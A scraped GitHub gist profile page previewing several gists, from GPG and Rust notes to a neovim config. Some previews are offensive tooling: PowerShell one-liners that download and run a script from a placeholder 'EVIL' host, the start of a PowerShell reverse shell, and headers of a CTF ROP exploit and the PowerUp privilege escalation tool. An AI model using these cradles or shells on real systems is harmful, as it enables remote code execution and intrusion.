Skip to content

Instantly share code, notes, and snippets.

View plasticuproject's full-sized avatar
💭
Remove This Feature

plasticuproject

💭
Remove This Feature
View GitHub Profile
@plasticuproject
plasticuproject / gpg_user_guide.md
Created December 22, 2022 05:31 — forked from johnfedoruk/gpg_user_guide.md
A simple GPG user guide

GPG User Guide

Author: John A. Fedoruk <johnny@johnfedoruk.ca>
Key ID: 8937446102D51067EB90DB6AB229A6E87086AD48
Date: 2019-07-03

Overview

@plasticuproject
plasticuproject / Rust-Cheat-Sheet.md
Created August 12, 2021 18:39 — forked from ccdle12/Rust-Cheat-Sheet.md
My Cheat Sheet for programming in Rust.

Rust Cheat Sheet

Covers different areas of programming and the best practices/components explained.

Frequently used crates

A crate that contains a trait StructOpt. Allows a structure Opt to be converted
@plasticuproject
plasticuproject / s_new_from_stdin.c
Created July 16, 2021 02:03 — forked from migf1/s_new_from_stdin.c
Read portably a string of arbitrary length from the console in C ( ANSI C89 / ISO C90 ).
#include <stdio.h> /* getchar() */
#include <stdlib.h> /* malloc(), realloc() */
#include <string.h> /* memcpy() */
/* -----------------------------------------------
* Create a new string (NUL-terminated array of chars) by reading the stdin.
* Return the newly created string, or NULL on error.
* Args:
* int beExact: If 0 (false), then the size of the created string will
* be an exact multiple of the internally used alloc-ahead
@plasticuproject
plasticuproject / error_tests.py
Created March 11, 2021 04:32 — forked from combe15/error_tests.py
A Cog dedicated to raise every discord.py error on command with the purpose of testing error handling.
""" A Cog dedicated to raise every discord.py error on command with the purpose of testing error handling. """
import discord
from discord.ext import commands
from discord.ext.commands import Context, Bot, Cog
""" Command Errors:
https://discordpy.readthedocs.io/en/latest/ext/commands/api.html#exception-hierarchy
ConversionError
#!/usr/bin/python3
# Description: download Github starred repositories for a user
# Outputs a JSON file containing name, description, url, homepage, language, number of open issues/stars for each starred repository
# A Personal Access Token must be available in the GITHUB_ACCESS_TOKEN environment variable
# License:
# Copyright 2020 nodiscc <nodiscc@gmail.com>
# Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
# The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING B
@plasticuproject
plasticuproject / init.vim
Last active December 19, 2022 15:04
neovim config
" pip install neovim flake8 pylint jedi yapf pynvim
call plug#begin('~/.local/share/nvim/plugged')
Plug 'davidhalter/jedi-vim'
Plug 'preservim/nerdtree'
Plug 'junegunn/fzf'
Plug 'preservim/nerdcommenter'
Plug 'liuchengxu/vista.vim'
Plug 'jeetsukumaran/vim-pythonsense'
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object
@plasticuproject
plasticuproject / myrop.py
Last active June 23, 2019 18:00
Return to LIB_C with ROP to PUTS for CTF
#!/usr/bin/env python2
# Return to LIB_C with ROP to PUTS
import telnetlib
import socket
import struct
host = "host"
port = "port"
@plasticuproject
plasticuproject / powerup.ps1
Created June 21, 2019 22:25
PowerUp Windows privilege escalation
<#
PowerUp aims to be a clearinghouse of common Windows privilege escalation
vectors that rely on misconfigurations. See README.md for more information.
Author: @harmj0y
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
#>
@plasticuproject
plasticuproject / reverse_shell.ps1
Created June 21, 2019 20:42
A reverse shell in Powershell
$socket = new-object System.Net.Sockets.TcpClient('127.0.0.1', 413);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
$writer.Flush();
$read = $null;